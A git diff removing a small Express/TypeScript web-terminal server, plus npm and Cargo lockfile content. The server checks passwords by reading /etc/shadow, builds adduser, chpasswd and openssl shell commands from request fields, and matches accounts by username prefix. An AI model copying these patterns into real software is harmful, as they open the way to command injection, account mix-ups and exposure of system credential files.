- "parseurl": "~1.3.3",
- "send": "0.18.0"
- },
- "engines": {
- "node": ">= 0.8.0"
- }
- },
- "node_modules/set-function-length": {
- "version": "1.2.2",
- "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz",
- "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==",
- "dependencies": {
- "define-data-property": "^1.1.4",
- "es-errors": "^1.3.0",
- "function-bind": "^1.1.2",
- "get-intrinsic": "^1.2.4",
- "gopd": "^1.0.1",
- "has-property-descriptors": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/setprototypeof": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
- "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw=="
- },
- "node_modules/side-channel": {
- "version": "1.0.6",
- "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.6.tgz",
- "integrity": "sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==",
- "dependencies": {
- "call-bind": "^1.0.7",
- "es-errors": "^1.3.0",
- "get-intrinsic": "^1.2.4",
- "object-inspect": "^1.13.1"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/statuses": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz",
- "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==",
- "engines": {
- "node": ">= 0.8"
- }
- },
- "node_modules/toidentifier": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",
- "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==",
- "engines": {
- "node": ">=0.6"
- }
- },
- "node_modules/type-is": {
- "version": "1.6.18",
- "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz",
- "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==",
- "dependencies": {
- "media-typer": "0.3.0",
- "mime-types": "~2.1.24"
- },
- "engines": {
- "node": ">= 0.6"
- }
- },
- "node_modules/typescript": {
- "version": "5.4.5",
- "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.4.5.tgz",
- "integrity": "sha512-vcI4UpRgg81oIRUFwR0WSIHKt11nJ7SAVlYNIu+QpqeyXP+gpQJy/Z4+F0aGxSE4MqwjyXvW/TzgkLAx2AGHwQ==",
- "dev": true,
- "bin": {
- "tsc": "bin/tsc",
- "tsserver": "bin/tsserver"
- },
- "engines": {
- "node": ">=14.17"
- }
- },
- "node_modules/uid-safe": {
- "version": "2.1.5",
- "resolved": "https://registry.npmjs.org/uid-safe/-/uid-safe-2.1.5.tgz",
- "integrity": "sha512-KPHm4VL5dDXKz01UuEd88Df+KzynaohSL9fBh096KWAxSKZQDI2uBrVqtvRM4rwrIrRRKsdLNML/lnaaVSRioA==",
- "dependencies": {
- "random-bytes": "~1.0.0"
- },
- "engines": {
- "node": ">= 0.8"
- }
- },
- "node_modules/undici-types": {
- "version": "5.26.5",
- "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-5.26.5.tgz",
- "integrity": "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA==",
- "dev": true
- },
- "node_modules/unpipe": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
- "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==",
- "engines": {
- "node": ">= 0.8"
- }
- },
- "node_modules/utils-merge": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz",
- "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==",
- "engines": {
- "node": ">= 0.4.0"
- }
- },
- "node_modules/vary": {
- "version": "1.1.2",
- "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
- "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==",
- "engines": {
- "node": ">= 0.8"
- }
- },
- "node_modules/ws": {
- "version": "7.5.9",
- "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.9.tgz",
- "integrity": "sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==",
- "engines": {
- "node": ">=8.3.0"
- },
- "peerDependencies": {
- "bufferutil": "^4.0.1",
- "utf-8-validate": "^5.0.2"
- },
- "peerDependenciesMeta": {
- "bufferutil": {
- "optional": true
- },
- "utf-8-validate": {
- "optional": true
- }
- }
- },
- "node_modules/yallist": {
- "version": "2.1.2",
- "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz",
- "integrity": "sha512-ncTzHV7NvsQZkYe1DW7cbDLm0YpzHmZF5r/iyP3ZnQtMiJ+pjzisCiMNI+Sj+xQF5pXhSHxSB3uDbsBTzY/c2A=="
- },
- "node_modules/zod": {
- "version": "3.23.6",
- "resolved": "https://registry.npmjs.org/zod/-/zod-3.23.6.tgz",
- "integrity": "sha512-RTHJlZhsRbuA8Hmp/iNL7jnfc4nZishjsanDAfEY1QpDQZCahUp3xDzl+zfweE9BklxMUcgBgS1b7Lvie/ZVwA==",
- "funding": {
- "url": "https://github.com/sponsors/colinhacks"
- }
- }
- }
-}
diff --git a/documentation/image-js/package.json b/documentation/image-js/package.json
deleted file mode 100644
index 3b427c9..0000000
--- a/documentation/image-js/package.json
+++ /dev/null
@@ -1,31 +0,0 @@
-{
- "name": "ptwhy",
- "version": "1.0.0",
- "description": "",
- "main": "server.js",
- "scripts": {
- "build": "tsc",
- "start": "node out/server.js"
- },
- "author": "",
- "license": "MIT",
- "dependencies": {
- "cors": "^2.8.5",
- "express": "^4.19.2",
- "express-session": "^1.18.0",
- "express-ws": "^5.0.2",
- "memorystore": "^1.6.7",
- "morgan": "^1.10.0",
- "node-pty": "^1.0.0",
- "zod": "^3.23.6"
- },
- "devDependencies": {
- "@types/cors": "^2.8.17",
- "@types/express": "^4.17.21",
- "@types/express-session": "^1.18.0",
- "@types/express-ws": "^3.0.4",
- "@types/morgan": "^1.9.9",
- "@types/node": "^20.12.8",
- "typescript": "^5.4.5"
- }
-}
diff --git a/documentation/image-js/src/controller/auth-controller.ts b/documentation/image-js/src/controller/auth-controller.ts
deleted file mode 100644
index 8b4efc6..0000000
--- a/documentation/image-js/src/controller/auth-controller.ts
+++ /dev/null
@@ -1,85 +0,0 @@
-import { RequestHandler } from "express";
-import UserService from "../service/user-service";
-import { UserServiceError } from "../types/error";
-import { CreateUserScheme, LoginUserScheme } from "../types/request";
-
-const register: RequestHandler = (req, res) => {
- let schema = CreateUserScheme.safeParse(req.body);
- if (!schema.success) {
- res.status(400)
- res.send({ error: "Invalid input" });
- return;
- }
- let body = schema.data;
-
- try {
- if (UserService.create(body.username, body.password) === "ok") {
- req.session.user = {
- username: body.username,
- }
- res.status(200);
- res.send({ success: "Ok" });
- return;
- } else {
- req.session.user = {
- username: body.username,
- }
- res.status(201);
- res.send({ success: "Created" });
- return;
- }
- } catch (error) {
- if (error instanceof UserServiceError) {
- res.status(error.code);
- res.send({ error: error.message });
- return;
- } else {
- res.status(500);
- res.send({ error: "Internal server error" });
- return;
- }
- }
-}
-
-const login: RequestHandler = (req, res) => {
- let schema = LoginUserScheme.safeParse(req.body);
- if (!schema.success) {
- res.status(400)
- res.send({ error: "Invalid input" });
- return;
- }
- let body = schema.data;
-
- try {
- if (UserService.login(body.username, body.password)) {
- req.session.user = {
- username: body.username,
- }
- res.status(200);
- res.send({ success: "Ok" });
- return;
- } else {
- res.status(401);
- res.send({ error: "Invalid credentials" });
- return;
- }
- } catch (error) {
- if (error instanceof UserServiceError) {
- res.status(error.code);
- res.send({ error: error.message });
- return;
- } else {
- res.status(500);
- res.send({ error: "Internal server error" });
- return;
- }
- }
-}
-
-const AuthController = {
- register,
- login,
-}
-
-export default AuthController;
-
diff --git a/documentation/image-js/src/controller/term-controller.ts b/documentation/image-js/src/controller/term-controller.ts
deleted file mode 100644
index a989524..0000000
--- a/documentation/image-js/src/controller/term-controller.ts
+++ /dev/null
@@ -1,78 +0,0 @@
-import { RequestHandler } from "express";
-import { WebsocketRequestHandler } from "express-ws";
-import TermService from "../service/term-service";
-import { UserServiceError } from "../types/error";
-import { ResizeTermScheme } from "../types/request";
-
-const create: RequestHandler = (req, res) => {
- const user = req.session.user!;
- if (user.session) {
- res.status(409)
- res.send({ error: "Session exists" });
- }
- try {
- const uuid = TermService.create(req.session.user.username);
- user.session = uuid;
- res.status(201);
- res.end();
- } catch (error) {
- if (error instanceof UserServiceError) {
- res.status(error.code);
- res.send({ error: error.message });
- return;
- } else {
- res.status(500);
- res.send({ error: "Internal server error" });
- return;
- }
- }
-}
-
-const resize: RequestHandler = (req, res) => {
- const user = req.session.user!;
- let schema = ResizeTermScheme.safeParse(req.body);
- if (!schema.success) {
- res.status(400)
- res.send({ error: "Invalid input" });
- return;
- }
- let body = schema.data;
-
- let uuid = user.session;
- if (uuid === undefined || typeof uuid !== 'string') {
- res.status(400)
- res.send({ error: "Session invalid or not existent" });
- return;
- }
-
- TermService.resize(uuid, { cols: body.cols!, rows: body.rows! });
- res.status(200);
- res.end();
-}
-
-const ws: WebsocketRequestHandler = (ws, req) => {
- const user = req.session.user!;
- let uuid = user.session;
- if (uuid === undefined || typeof uuid !== 'string') {
- console.log("[ERROR] Session invalid or not existent");
- ws.close();
- return;
- }
- try {
- TermService.ws(uuid, ws, () => {
- user.session = undefined;
- })
- } catch (error) {
- console.log("[ERROR]", error);
- ws.close();
- }
-}
-
-const TermController = {
- create,
- resize,
- ws
-}
-
-export default TermController;
-
diff --git a/documentation/image-js/src/main.ts b/documentation/image-js/src/main.ts
deleted file mode 100644
index e522727..0000000
--- a/documentation/image-js/src/main.ts
+++ /dev/null
@@ -1,4 +0,0 @@
-import init from "./server";
-
-init();
-
diff --git a/documentation/image-js/src/middleware/api-middleware.ts b/documentation/image-js/src/middleware/api-middleware.ts
deleted file mode 100644
index 2858a67..0000000
--- a/documentation/image-js/src/middleware/api-middleware.ts
+++ /dev/null
@@ -1,41 +0,0 @@
-import { RequestHandler } from "express";
-import { WebsocketRequestHandler } from "express-ws";
-
-const express: RequestHandler = (req, res, next) => {
- const key = req.params.key;
- if (key === undefined || typeof (key) !== 'string') {
- res.status(401);
- res.send({ error: "Unauthorized" });
- return;
- }
-
- if (key !== process.env.API_KEY) {
- res.status(401);
- res.send({ error: "API-Key invalid" });
- return;
- }
-
- next();
-}
-
-const ws: WebsocketRequestHandler = (ws, req, next) => {
- const key = req.params.key;
- if (key === undefined || typeof (key) !== 'string') {
- ws.close();
- return;
- }
-
- if (key !== process.env.API_KEY) {
- ws.close();
- return;
- }
-
- next();
-}
-
-const ApiMiddleware = {
- express,
- ws
-}
-
-export default ApiMiddleware;
diff --git a/documentation/image-js/src/middleware/auth-middleware.ts b/documentation/image-js/src/middleware/auth-middleware.ts
deleted file mode 100644
index c91e097..0000000
--- a/documentation/image-js/src/middleware/auth-middleware.ts
+++ /dev/null
@@ -1,28 +0,0 @@
-import { RequestHandler } from "express";
-import { WebsocketRequestHandler } from "express-ws";
-
-const express: RequestHandler = (req, res, next) => {
- const user = req.session.user
- if (!user) {
- res.status(401);
- res.send({ error: "Unauthorized" });
- return;
- }
- next();
-}
-
-const ws: WebsocketRequestHandler = (ws, req, next) => {
- const user = req.session.user
- if (!user) {
- ws.close()
- return;
- }
- next();
-}
-
-const AuthMiddleware = {
- express,
- ws
-}
-
-export default AuthMiddleware;
diff --git a/documentation/image-js/src/server/index.ts b/documentation/image-js/src/server/index.ts
deleted file mode 100644
index c219460..0000000
--- a/documentation/image-js/src/server/index.ts
+++ /dev/null
@@ -1,12 +0,0 @@
-import createExpressApp from "./router";
-
-export default function init() {
- const app = createExpressApp();
-
- const port = 3000;
- const host = '0.0.0.0';
-
- console.log('App listening to http://' + host + ':' + port);
- app.listen(port, host, 0);
-}
-
diff --git a/documentation/image-js/src/server/router.ts b/documentation/image-js/src/server/router.ts
deleted file mode 100644
index 0d56b6a..0000000
--- a/documentation/image-js/src/server/router.ts
+++ /dev/null
@@ -1,46 +0,0 @@
-import express from "express";
-import expressWs from "express-ws";
-import cors from "cors";
-import session from "express-session";
-import memorystore from "memorystore";
-import crypto from "crypto";
-import morgan from "morgan";
-
-import AuthController from "../controller/auth-controller";
-import TermController from "../controller/term-controller";
-import AuthMiddleware from "../middleware/auth-middleware";
-import ApiMiddleware from "../middleware/api-middleware";
-
-export default function createExpressApp() {
- const app = express();
-
- const MemoryStore = memorystore(session)
-
- app.use(session({
- cookie: { maxAge: 86400000 },
- store: new MemoryStore({
- checkPeriod: 86400000
- }),
- resave: false,
- secret: crypto.randomBytes(64).toString()
- }));
-
- app.use(cors());
- app.use(express.json());
- app.use(morgan('combined'));
-
- const appWs = expressWs(app).app;
-
- app.use('/api/:key', ApiMiddleware.express);
- app.post('/api/:key/auth/register', AuthController.register);
- app.post('/api/:key/auth/login', AuthController.login);
-
- app.use('/api/:key/term', AuthMiddleware.express)
-
- app.post('/api/:key/term', TermController.create);
- appWs.ws('/api/:key/term', TermController.ws);
- app.post('/api/:key/term/size', TermController.resize);
-
- return app;
-}
-
diff --git a/documentation/image-js/src/service/term-service.ts b/documentation/image-js/src/service/term-service.ts
deleted file mode 100644
index a9c4c06..0000000
--- a/documentation/image-js/src/service/term-service.ts
+++ /dev/null
@@ -1,124 +0,0 @@
-import * as pty from "node-pty";
-import WebSocket from "ws";
-import { randomUUID } from "crypto";
-import UserService from "./user-service";
-import { TermServiceError } from "../types/error";
-
-const terminals: Record = {};
-const unsentOutput: Record = {};
-const temporaryDisposable: Record = {};
-
-type CreateOptions = {
- executable?: string,
- cols?: number,
- rows?: number
-};
-
-type ResizeOptions = {
- cols: number,
- rows: number
-}
-
-function create(username: string, opts?: CreateOptions) {
- const env: Record = {};
- env['COLORTERM'] = 'truecolor';
- env['PATH'] = process.env.PATH;
-
- const userinfo = UserService.info(username);
-
- const term = pty.spawn(opts?.executable ?? userinfo.shell, [], {
- name: 'xterm-256color',
- cols: opts?.cols ?? 80,
- rows: opts?.rows ?? 24,
- uid: userinfo.uid,
- gid: userinfo.gid,
- cwd: userinfo.home,
- env,
- encoding: null,
- });
-
- const uuid = randomUUID();
-
- terminals[uuid] = term;
- unsentOutput[uuid] = '';
- temporaryDisposable[uuid] = term.onData(function(data) {
- unsentOutput[uuid] += data;
- });
-
- return uuid;
-}
-
-function resize(uuid: string, opts: ResizeOptions) {
- const term = terminals[uuid];
- if (!term)
- throw new TermServiceError(404, "term not found");
- term.resize(opts.cols, opts.rows);
-}
-
-function ws(uuid: string, ws: WebSocket, onClose?: () => void) {
- const term = terminals[uuid];
- if (!term)
- throw new TermServiceError(404, "term not found");
-
- temporaryDisposable[uuid].dispose();
- delete temporaryDisposable[uuid];
- ws.send(unsentOutput[uuid]);
- delete unsentOutput[uuid];
-
- let userInput = false;
-
- function bufferUtf8(socket: WebSocket, timeout: number, maxSize: number) {
- const chunks = [];
- let length = 0;
- let sender = null;
- return (data: any) => {
- chunks.push(data);
- length += data.length;
- if (length > maxSize || userInput) {
- userInput = false;
- socket.send(Buffer.concat(chunks));
- chunks.length = 0;
- length = 0;
- if (sender) {
- clearTimeout(sender);
- sender = null;
- }
- } else if (!sender) {
- sender = setTimeout(() => {
- socket.send(Buffer.concat(chunks));
- chunks.length = 0;
- length = 0;
- sender = null;
- }, timeout);
- }
- };
- }
- const send = bufferUtf8(ws, 3, 262144);
-
- term.onData(function(data: string) {
- try {
- send(data);
- } catch (error) {
- // websocket is not open, ignore
- }
- });
- ws.on('message', function(msg: string) {
- term.write(msg);
- userInput = true;
- });
- ws.on('close', function() {
- term.kill('SIGKILL');
- delete terminals[uuid];
- if (onClose)
- onClose();
- });
-
-}
-
-const TermService = {
- create,
- resize,
- ws
-}
-
-export default TermService;
diff --git a/documentation/image-js/src/service/user-service.ts b/documentation/image-js/src/service/user-service.ts
deleted file mode 100644
index cac41cf..0000000
--- a/documentation/image-js/src/service/user-service.ts
+++ /dev/null
@@ -1,137 +0,0 @@
-import fs from "node:fs";
-import child_process from "node:child_process";
-
-import { UserServiceError } from "../types/error";
-
-interface UserEntry {
- hash: string;
- type: string;
- salt: string;
- pw: string;
-}
-
-interface UserData {
- username: string;
- password: string;
- uid: number;
- gid: number;
- gecos: string;
- home: string;
- shell: string;
-}
-
-function findUserHash(username: string): string | undefined {
- const shadow = fs.readFileSync('/etc/shadow', 'utf8').split('\n');
-
- const hash = shadow.find((line) => {
- return line.startsWith(username)
- })
-
- return hash;
-}
-
-function findUserPasswdEntry(username: string): string | undefined {
- const passwd = fs.readFileSync('/etc/passwd', 'utf8').split('\n');
-
- const user = passwd.find((line) => {
- return line.startsWith(username)
- })
-
- return user;
-}
-
-function extractUserEntry(line: string): UserEntry {
- const [, hash] = line.split(':')
- const _hash = hash.split('$')
- if (_hash.length < 4) {
- throw new UserServiceError(403, "Forbidden");
- }
- let type: string, salt: string, pw: string = '';
- if (hash[1] === 'y') {
- throw new UserServiceError(403, "Forbidden");
- } else {
- [, type, salt, pw] = _hash;
- }
- return {
- hash,
- type,
- salt,
- pw
- }
-}
-
-function extractUserData(line: string): UserData {
- const [username, password, uid, gid, gecos, home, shell] = line.split(':')
- return {
- username,
- password,
- uid: Number(uid),
- gid: Number(gid),
- gecos,
- home,
- shell
- }
-}
-
-
-function validateUserPassword(entry: UserEntry, password: string): boolean {
- const buf = child_process.execSync(
- `openssl passwd -${entry.type} -salt ${entry.salt} ${password}`
- );
- const result = buf.toString('utf8').trim();
- return result === entry.hash;
-}
-
-function login(username: string, password: string) {
- const hash = findUserHash(username);
-
- if (!hash) {
- throw new UserServiceError(404, "Not found");
- }
-
- const user = extractUserEntry(hash);
- return validateUserPassword(user, password);
-}
-
-function createUserEntry(username: string, password: string) {
- try {
- child_process.execSync(`adduser -D ${username} -s /bin/zsh`);
- child_process.execSync(`echo "${username}:${password}" | chpasswd`);
- } catch (error) {
- throw new UserServiceError(500, "Internal server error");
- }
-}
-
-function create(username: string, password: string): "ok" | "created" {
-
- const hash = findUserHash(username);
-
- if (hash) {
- const user = extractUserEntry(hash);
- const valid = validateUserPassword(user, password);
- if (!valid) {
- throw new UserServiceError(401, "Invalid credentials");
- }
- return "ok";
- }
-
- createUserEntry(username, password);
-
- return "created";
-}
-
-function info(username: string): UserData | undefined {
- const entry = findUserPasswdEntry(username);
- if (!entry)
- throw new UserServiceError(404, "Invalid credentials");
- return extractUserData(entry);
-}
-
-const UserService = {
- login,
- create,
- info,
-}
-
-export default UserService;
-
diff --git a/documentation/image-js/src/types/error.ts b/documentation/image-js/src/types/error.ts
deleted file mode 100644
index d96ea10..0000000
--- a/documentation/image-js/src/types/error.ts
+++ /dev/null
@@ -1,16 +0,0 @@
-
-export class UserServiceError extends Error {
- code: number
- constructor(code: number, message: string) {
- super(message);
- this.code = code;
- }
-}
-
-export class TermServiceError extends Error {
- code: number
- constructor(code: number, message: string) {
- super(message);
- this.code = code;
- }
-};
diff --git a/documentation/image-js/src/types/request.ts b/documentation/image-js/src/types/request.ts
deleted file mode 100644
index 883b987..0000000
--- a/documentation/image-js/src/types/request.ts
+++ /dev/null
@@ -1,22 +0,0 @@
-import { z } from "zod";
-
-export const CreateUserScheme = z.object({
- username: z.string().min(4).max(64).regex(/^[a-zA-Z0-5]*$/),
- password: z.string().min(4).max(64).regex(/^[a-zA-Z0-9]*$/)
-});
-
-export type CreateUser = z.infer;
-
-export const LoginUserScheme = z.object({
- username: z.string().min(4).max(64).regex(/^[a-zA-Z0-5]*$/),
- password: z.string().min(4).max(64).regex(/^[a-zA-Z0-9]*$/)
-});
-
-export type LoginUser = z.infer;
-
-export const ResizeTermScheme = z.object({
- cols: z.number().positive(),
- rows: z.number().positive()
-});
-
-export type ResizeTerm = z.infer;
diff --git a/documentation/image-js/src/types/session.ts b/documentation/image-js/src/types/session.ts
deleted file mode 100644
index 9788a58..0000000
--- a/documentation/image-js/src/types/session.ts
+++ /dev/null
@@ -1,7 +0,0 @@
-import { User } from "./user";
-
-declare module 'express-session' {
- interface SessionData {
- user?: User;
- }
-}
diff --git a/documentation/image-js/src/types/user.ts b/documentation/image-js/src/types/user.ts
deleted file mode 100644
index 3fcf4e7..0000000
--- a/documentation/image-js/src/types/user.ts
+++ /dev/null
@@ -1,4 +0,0 @@
-export type User = {
- username: string;
- session?: string;
-}
diff --git a/documentation/image-js/tsconfig.json b/documentation/image-js/tsconfig.json
deleted file mode 100644
index b745b63..0000000
--- a/documentation/image-js/tsconfig.json
+++ /dev/null
@@ -1,15 +0,0 @@
-{
- "$schema": "https://json.schemastore.org/tsconfig.json",
- "compilerOptions": {
- "module": "NodeNext",
- "target": "ESNext",
- "rootDir": "src",
- "baseUrl": "src",
- "allowSyntheticDefaultImports": true,
- "esModuleInterop": true,
- "outDir": "out"
- },
- "include": [
- "src/**/*.ts"
- ]
-}
diff --git a/documentation/image-rs/Cargo.lock b/documentation/image-rs/Cargo.lock
deleted file mode 100644
index 1ecb8c2..0000000
--- a/documentation/image-rs/Cargo.lock
+++ /dev/null
@@ -1,2523 +0,0 @@
-# This file is automatically @generated by Cargo.
-# It is not intended for manual editing.
-version = 3
-
-[[package]]
-name = "actix"
-version = "0.13.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "de7fa236829ba0841304542f7614c42b80fca007455315c45c785ccfa873a85b"
-dependencies = [
- "actix-macros",
- "actix-rt",
- "actix_derive",
- "bitflags 2.5.0",
- "bytes 1.6.0",
- "crossbeam-channel",
- "futures-core",
- "futures-sink",
- "futures-task",
- "futures-util",
- "log",
- "once_cell",
- "parking_lot 0.12.3",
- "pin-project-lite",
- "smallvec 1.13.2",
- "tokio 1.38.0",
- "tokio-util",
-]
-
-[[package]]
-name = "actix-codec"
-version = "0.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5f7b0a21988c1bf877cf4759ef5ddaac04c1c9fe808c9142ecb78ba97d97a28a"
-dependencies = [
- "bitflags 2.5.0",
- "bytes 1.6.0",
- "futures-core",
- "futures-sink",
- "memchr",
- "pin-project-lite",
- "tokio 1.38.0",
- "tokio-util",
- "tracing",
-]
-
-[[package]]
-name = "actix-http"
-version = "3.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4eb9843d84c775696c37d9a418bbb01b932629d01870722c0f13eb3f95e2536d"
-dependencies = [
- "actix-codec",
- "actix-rt",
- "actix-service",
- "actix-utils",
- "ahash",
- "base64 0.22.1",
- "bitflags 2.5.0",
- "brotli",
- "bytes 1.6.0",
- "bytestring",
- "derive_more",
- "encoding_rs",
- "flate2",
- "futures-core",
- "h2",
- "http",
- "httparse",
- "httpdate",
- "itoa",
- "language-tags",
- "local-channel",
- "mime",
- "percent-encoding",
- "pin-project-lite",
- "rand",
- "sha1",
- "smallvec 1.13.2",
- "tokio 1.38.0",
- "tokio-util",
- "tracing",
- "zstd",
-]
-
-[[package]]
-name = "actix-macros"
-version = "0.2.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e01ed3140b2f8d422c68afa1ed2e85d996ea619c988ac834d255db32138655cb"
-dependencies = [
- "quote",
- "syn 2.0.66",
-]
-
-[[package]]
-name = "actix-router"
-version = "0.5.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "13d324164c51f63867b57e73ba5936ea151b8a41a1d23d1031eeb9f70d0236f8"
-dependencies = [
- "bytestring",
- "cfg-if 1.0.0",
- "http",
- "regex",
- "regex-lite",
- "serde",
- "tracing",
-]
-
-[[package]]
-name = "actix-rt"
-version = "2.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "24eda4e2a6e042aa4e55ac438a2ae052d3b5da0ecf83d7411e1a368946925208"
-dependencies = [
- "futures-core",
- "tokio 1.38.0",
-]
-
-[[package]]
-name = "actix-server"
-version = "2.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b02303ce8d4e8be5b855af6cf3c3a08f3eff26880faad82bab679c22d3650cb5"
-dependencies = [
- "actix-rt",
- "actix-service",
- "actix-utils",
- "futures-core",
- "futures-util",
- "mio 0.8.11",
- "socket2",
- "tokio 1.38.0",
- "tracing",
-]
-
-[[package]]
-name = "actix-service"
-version = "2.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3b894941f818cfdc7ccc4b9e60fa7e53b5042a2e8567270f9147d5591893373a"
-dependencies = [
- "futures-core",
- "paste",
- "pin-project-lite",
-]
-
-[[package]]
-name = "actix-session"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b671404ec72194d8af58c2bdaf51e3c477a0595056bd5010148405870dda8df2"
-dependencies = [
- "actix-service",
- "actix-utils",
- "actix-web",
- "anyhow",
- "derive_more",
- "serde",
- "serde_json",
- "tracing",
-]
-
-[[package]]
-name = "actix-utils"
-version = "3.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "88a1dcdff1466e3c2488e1cb5c36a71822750ad43839937f85d2f4d9f8b705d8"
-dependencies = [
- "local-waker",
- "pin-project-lite",
-]
-
-[[package]]
-name = "actix-web"
-version = "4.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5d6316df3fa569627c98b12557a8b6ff0674e5be4bb9b5e4ae2550ddb4964ed6"
-dependencies = [
- "actix-codec",
- "actix-http",
- "actix-macros",
- "actix-router",
- "actix-rt",
- "actix-server",
- "actix-service",
- "actix-utils",
- "actix-web-codegen",
- "ahash",
- "bytes 1.6.0",
- "bytestring",
- "cfg-if 1.0.0",
- "cookie",
- "derive_more",
- "encoding_rs",
- "futures-core",
- "futures-util",
- "itoa",
- "language-tags",
- "log",
- "mime",
- "once_cell",
- "pin-project-lite",
- "regex",
- "regex-lite",
- "serde",
- "serde_json",
- "serde_urlencoded",
- "smallvec 1.13.2",
- "socket2",
- "time",
- "url",
-]
-
-[[package]]
-name = "actix-web-actors"
-version = "4.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "420b001bb709d8510c3e2659dae046e54509ff9528018d09c78381e765a1f9fa"
-dependencies = [
- "actix",
- "actix-codec",
- "actix-http",
- "actix-web",
- "bytes 1.6.0",
- "bytestring",
- "futures-core",
- "pin-project-lite",
- "tokio 1.38.0",
- "tokio-util",
-]
-
-[[package]]
-name = "actix-web-codegen"
-version = "4.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f591380e2e68490b5dfaf1dd1aa0ebe78d84ba7067078512b4ea6e4492d622b8"
-dependencies = [
- "actix-router",
- "proc-macro2",
- "quote",
- "syn 2.0.66",
-]
-
-[[package]]
-name = "actix_derive"
-version = "0.6.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7c7db3d5a9718568e4cf4a537cfd7070e6e6ff7481510d0237fb529ac850f6d3"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.66",
-]
-
-[[package]]
-name = "addr2line"
-version = "0.22.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6e4503c46a5c0c7844e948c9a4d6acd9f50cccb4de1c48eb9e291ea17470c678"
-dependencies = [
- "gimli",
-]
-
-[[package]]
-name = "adler"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe"
-
-[[package]]
-name = "aead"
-version = "0.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d122413f284cf2d62fb1b7db97e02edb8cda96d769b16e443a4f6195e35662b0"
-dependencies = [
- "crypto-common",
- "generic-array",
-]
-
-[[package]]
-name = "aes"
-version = "0.8.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0"
-dependencies = [
- "cfg-if 1.0.0",
- "cipher",
- "cpufeatures",
-]
-
-[[package]]
-name = "aes-gcm"
-version = "0.10.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "831010a0f742e1209b3bcea8fab6a8e149051ba6099432c8cb2cc117dec3ead1"
-dependencies = [
- "aead",
- "aes",
- "cipher",
- "ctr",
- "ghash",
- "subtle",
-]
-
-[[package]]
